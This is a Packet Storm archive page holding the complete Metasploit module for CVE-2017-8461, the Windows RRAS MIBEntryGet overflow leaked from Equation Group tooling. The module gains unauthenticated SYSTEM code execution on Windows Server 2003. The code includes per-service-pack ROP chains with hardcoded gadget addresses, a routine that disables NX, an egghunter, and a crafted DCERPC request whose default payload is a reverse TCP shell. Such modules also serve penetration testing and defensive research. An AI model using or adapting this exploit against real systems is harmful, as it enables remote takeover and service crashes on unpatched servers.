exploit the possibilities

Microsoft Windows RRAS Service MIBEntryGet Overflow

Microsoft Windows RRAS Service MIBEntryGet Overflow
Posted Mar 5, 2021
Authored by Brendan Coles, Shadow Brokers, Equation Group, Victor Portal | Site metasploit.com

This Metasploit module exploits an overflow in the Windows Routing and Remote Access Service (RRAS) to execute code as SYSTEM. The RRAS DCERPC endpoint is accessible to unauthenticated users via SMBv1 browser named pipe on Windows Server 2003 and Windows XP hosts; however, this module targets Windows Server 2003 only. Since the service is hosted inside svchost.exe, a failed exploit attempt can cause other system services to fail as well.

tags | exploit, remote, overflow
systems | windows, xp
advisories | CVE-2017-8461
MD5 | 69298bf9729abb1a86bafda578c9aa2f

Microsoft Windows RRAS Service MIBEntryGet Overflow

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = AverageRanking

include Msf::Exploit::Remote::Egghunter
include Msf::Exploit::Remote::DCERPC
include Msf::Exploit::Remote::SMB::Client

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Microsoft Windows RRAS Service MIBEntryGet Overflow',
'Description' => %q{
This module exploits an overflow in the Windows Routing and Remote
Access Service (RRAS) to execute code as SYSTEM.

The RRAS DCERPC endpoint is accessible to unauthenticated users via
SMBv1 browser named pipe on Windows Server 2003 and Windows XP hosts;
however, this module targets Windows Server 2003 only.

Since the service is hosted inside svchost.exe, a failed exploit
attempt can cause other system services to fail as well.

The module has been successfully tested on:

Windows Server 2003 SP0 (x86);
Windows Server 2003 SP1 (x86);
Windows Server 2003 SP2 (x86); and
Windows Server 2003 R2 SP2 (x86).
},
'Author' =>
[
'Equation Group', # ERRATICGOPHER
'Shadow Brokers', # Equation Group dump
'VĂ­ctor Portal', # Python exploit for Windows Server 2003 SP2 with DEP bypass
'bcoles', # Metasploit
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2017-8461'],
['CWE', '119'],
['BID', '99012'],
['EDB', '41929'],
['PACKETSTORM', '147593'],
['URL', 'https://www.securitytracker.com/id/1038701'],
['URL', 'https://github.com/x0rz/EQGRP_Lost_in_Translation/blob/master/windows/exploits/Erraticgopher-1.0.1.0.xml'],
['URL', 'https://support.microsoft.com/en-us/topic/microsoft-security-advisory-4025685-guidance-for-older-platforms-june-13-2017-05151e8a-bd7f-f769-43df-38d2c24f96cd'],
['URL', 'https://docs.microsoft.com/en-us/previous-versions/windows/desktop/legacy/aa374540(v=vs.85)'],
['URL', 'https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rrasm/ebc5c709-36d8-4520-a0ac-6f36d2d6c0b2'],
['URL', 'https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rrasm/5dca234b-bea4-4e67-958e-5459a32a7b71'],
['URL', 'https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rrasm/4305d67f-9273-49fe-a067-909b6ae8a341'],
['URL', 'https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rrasm/3ca0723e-36ea-448a-a97e-1906dd3d07a6'],
['URL', 'https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rrasm/dda988f0-4cce-4ffe-b8c9-d5199deafba5'],
['URL', 'https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rrasm/169e435d-a975-4c1c-bf41-55fd2bd76125'],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
'PAYLOAD' => 'windows/shell/reverse_tcp'
},
'Privileged' => true,
'Payload' =>
{
'Space' => 1065,
'BadChars' => "\x00",
'EncoderType' => Msf::Encoder::Type::AlphanumMixed
},
'Platform' => 'win',
'Arch' => ARCH_X86,
'Targets' =>
[
[ 'Automatic', { 'auto' => true } ],
[
'Windows Server 2003 SP0 (English)',
{
'os' => 'Windows 2003',
'sp' => '',
'lang' => 'English'
}
],
[
'Windows Server 2003 SP1 (English) (NX)',
{
'os' => 'Windows 2003',
'sp' => 'Service Pack 1',
'lang' => 'English'
}
],
[
'Windows Server 2003 SP2 (English) (NX)',
{
'os' => 'Windows 2003',
'sp' => 'Service Pack 2',
'lang' => 'English'
}
],
[
'Windows Server 2003 R2 SP2 (English) (NX)',
{
'os' => 'Windows 2003 R2',
'sp' => 'Service Pack 2',
'lang' => 'English'
}
],
],
'Notes' =>
{
'AKA' => [ 'ErraticGopher' ],
'Stability' => [ CRASH_SERVICE_DOWN ],
'SideEffects' => [ IOC_IN_LOGS ],
'Reliability' => [ UNRELIABLE_SESSION ]
},
'DefaultTarget' => 0,
'DisclosureDate' => '2017-06-13'
)
)

register_options([
OptString.new('SMBPIPE', [ true, 'The pipe name to use', 'browser']),
])

deregister_options('SMB::ProtocolVersion')
end

def payload_win2k3sp0
rop = [0x0ffef4c9].pack('V')
# rsaenh.dll:
# 0FFEF4C9 54 PUSH ESP
# 0FFEF4CA 24 04 AND AL,4
# 0FFEF4CC 8B4C24 0C MOV ECX,DWORD PTR SS:[ESP+C]
# 0FFEF4D0 8B4424 08 MOV EAX,DWORD PTR SS:[ESP+8]
# 0FFEF4D4 3BD1 CMP EDX,ECX
# 0FFEF4D6 73 05 JNB SHORT rsaenh.0FFEF4DD
# 0FFEF4D8 F7F1 DIV ECX
# 0FFEF4DA C2 0C00 RETN 0C
rop += make_nops(1152 - payload.encoded.length)
rop += payload.encoded
rop
end

def payload_win2k3sp1
egg_options = {
eggtag: rand_text_alpha(4)
}

hunter, egg = generate_egghunter(
payload.encoded,
payload_badchars,
egg_options
)

# NX disable routine for Windows Server 2003 SP1
rop = [0x71c0bf7c].pack('V') # push esp ; pop esi ; retn @ws2_32.dll
rop += "\x90" * 16 # padding
rop += [0x77c1a864].pack('V') # push esp ; pop ebp ; retn 4 @gdi32.dll
rop += [0x7c803ec2].pack('V') # ret 20 @ntdll.dll
rop += [0x773b24da].pack('V') # jmp esp @user32.dll
rop += [0x77bde7f6].pack('V') # add esp,2c ; retn @msvcrt.dll
rop += "\x90" * 2 # padding
rop += hunter # egg hunter
rop += "\x90" * 42 # padding
rop += [0x7c83e413].pack('V') # disable NX routine @ntdll.dll
rop += "\x90" * 104 # padding
rop += egg # egg + payload
rop
end

def payload_win2k3sp2
egg_options = {
eggtag: rand_text_alpha(4)
}

hunter, egg = generate_egghunter(
payload.encoded,
payload_badchars,
egg_options
)

# NX disable routine for Windows Server 2003 [R2] SP2
rop = [0x71c0db30].pack('V') # push esp ; pop esi ; retn @ws2_32.dll
rop += "\x90" * 16 # padding
rop += [0x77c177e9].pack('V') # push esp ; pop ebp ; retn 4 @gdi32.dll
rop += [0x7c817a5d].pack('V') # ret 20 @ntdll.dll
rop += [0x77384271].pack('V') # jmp esp @user32.dll
rop += [0x77bde7f6].pack('V') # add esp,2c ; retn @msvcrt.dll
rop += "\x90" * 2 # padding
rop += hunter # egg hunter
rop += "\x90" * 42 # padding
rop += [0x7c83f517].pack('V') # disable NX routine @ntdll.dll
rop += "\x90" * 104 # padding
rop += egg # egg + payload
rop
end

def check
begin
connect(versions: [1])
smb_login
rescue Rex::Proto::SMB::Exceptions::LoginError => e
if e.message.include?('Connection reset')
return CheckCode::Unknown('Connection reset during login. This most likely means a previous exploit attempt caused the service to crash.')
end

return CheckCode::Safe("SMB error: #{e.message}")
end

handle = dcerpc_handle('8f09f000-b7ed-11ce-bbd2-00001a181cad', '0.0', 'ncacn_np', ["\\#{datastore['SMBPIPE']}"])

begin
dcerpc_bind(handle)
rescue Rex::Proto::SMB::Exceptions::ErrorCode => e
return CheckCode::Safe("SMB error: #{e.message}")
end

CheckCode::Detected('RRAS enabled and accessible.')
end

def exploit
begin
connect(versions: [1])
smb_login
rescue Rex::Proto::SMB::Exceptions::LoginError => e
if e.message.include?('Connection reset')
fail_with(Failure::UnexpectedReply, 'Connection reset during login. This most likely means a previous exploit attempt caused the service to crash.')
end
raise e
end

handle = dcerpc_handle('8f09f000-b7ed-11ce-bbd2-00001a181cad', '0.0', 'ncacn_np', ["\\#{datastore['SMBPIPE']}"])

print_status("Binding to #{handle} ...")

begin
dcerpc_bind(handle)
rescue Rex::Proto::SMB::Exceptions::ErrorCode => e
fail_with(Failure::NotVulnerable, "SMB error: #{e.message}")
end

print_status("Bound to #{handle} ...")

my_target = target

if target.name == 'Automatic'
print_status('Selecting a target ...')

fingerprint = smb_fingerprint

os = fingerprint['os']
sp = fingerprint['sp']
lang = fingerprint['lang']
print_status("Fingerprint: #{os}#{sp.blank? ? '' : " (#{sp})"} - Language: #{lang}")

if lang == 'Unknown'
lang = 'English'
print_status("Could not detect the language pack, defaulting to #{lang}")
end

my_target = targets.select { |t| t['os'] == os && t['sp'] == sp && t['lang'] == lang }.first

unless my_target
fail_with(Failure::NoTarget, 'Unable to automatically detect a target')
end
end

print_status("Using target: #{my_target.name}")

case my_target.name
when 'Windows Server 2003 SP0 (English)'
buf = payload_win2k3sp0
when 'Windows Server 2003 SP1 (English) (NX)'
buf = payload_win2k3sp1
when 'Windows Server 2003 SP2 (English) (NX)'
buf = payload_win2k3sp2
when 'Windows Server 2003 R2 SP2 (English) (NX)'
buf = payload_win2k3sp2 # same as SP2
else
fail_with(Failure::NoTarget, 'Invalid target')
end

mib = NDR.long(8) # dwVarID (MIB_OPAQUE_QUERY) # IP_FORWARDROW
mib += "\x90" * 4 # rgdwVarIndex[0] dwForwardDest # junk IPv4 address
mib += NDR.long(0) # rgdwVarIndex[1] dwForwardMask # junk IPv4 net mask
mib += NDR.long(0) # rgdwVarIndex[2] dwForwardPolicy # 0 (default forward policy)
mib += "\x90" * 4 # rgdwVarIndex[3] dwForwardNextHop # junk IPv4 address
mib += "\x90" * 4 # rgdwVarIndex[4] dwForwardIfIndex # junk network interface index for next hop
mib += buf # rgdwVarIndex[5] dwForwardType # payload
mib += "\x90" * (1840 - mib.length) # MIB length padding # junk

stub = NDR.long(0x21) # dwPid (RMIBEntryGet) # PID_IP (IPv4)
stub += NDR.long(0x2710) # dwRoutingPid (RMIBEntryGet) # IPRTRMGR_PID (IP router manager)
stub += NDR.long(mib.length) # dwMibInEntrySize (DIM_MIB_ENTRY_CONTAINER) # MIB in size
stub += "\x90" * 4 # pMibInEntry (DIM_MIB_ENTRY_CONTAINER) # MIB_OPAQUE_QUERY pointer (ignored)
stub += NDR.long(4) # dwVarId (MIB_OPAQUE_QUERY) # IP_ADDRTABLE
stub += "\x90" * 4 # rgdwVarIndex (MIB_OPAQUE_QUERY) # unused (ignored)
stub += NDR.long(mib.length) # dwMibOutEntrySize (DIM_MIB_ENTRY_CONTAINER) # MIB out size
stub += mib # our friendly MIB entry data with payload
stub += NDR.long(4) # dwId (MIB_OPAQUE_INFO) # IP_ADDRTABLE (same as dwVarId)
stub += NDR.long(0) # ullAlign (MIB_OPAQUE_INFO) # zero aligning bytes

print_status("Calling RRAS MIBEntryGet with payload (#{stub.length} bytes) ...")

begin
dcerpc.call(0x1d, stub, false)
rescue StandardError => e
raise e unless e.to_s.include?('STATUS_PIPE_DISCONNECTED')
end

handler
disconnect
end
end
Login or Register to add favorites

File Archive:

November 2021

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    19 Files
  • 2
    Nov 2nd
    25 Files
  • 3
    Nov 3rd
    8 Files
  • 4
    Nov 4th
    7 Files
  • 5
    Nov 5th
    24 Files
  • 6
    Nov 6th
    0 Files
  • 7
    Nov 7th
    0 Files
  • 8
    Nov 8th
    18 Files
  • 9
    Nov 9th
    9 Files
  • 10
    Nov 10th
    106 Files
  • 11
    Nov 11th
    19 Files
  • 12
    Nov 12th
    13 Files
  • 13
    Nov 13th
    0 Files
  • 14
    Nov 14th
    0 Files
  • 15
    Nov 15th
    18 Files
  • 16
    Nov 16th
    12 Files
  • 17
    Nov 17th
    15 Files
  • 18
    Nov 18th
    12 Files
  • 19
    Nov 19th
    4 Files
  • 20
    Nov 20th
    2 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    22 Files
  • 23
    Nov 23rd
    14 Files
  • 24
    Nov 24th
    19 Files
  • 25
    Nov 25th
    4 Files
  • 26
    Nov 26th
    1 Files
  • 27
    Nov 27th
    4 Files
  • 28
    Nov 28th
    1 Files
  • 29
    Nov 29th
    11 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close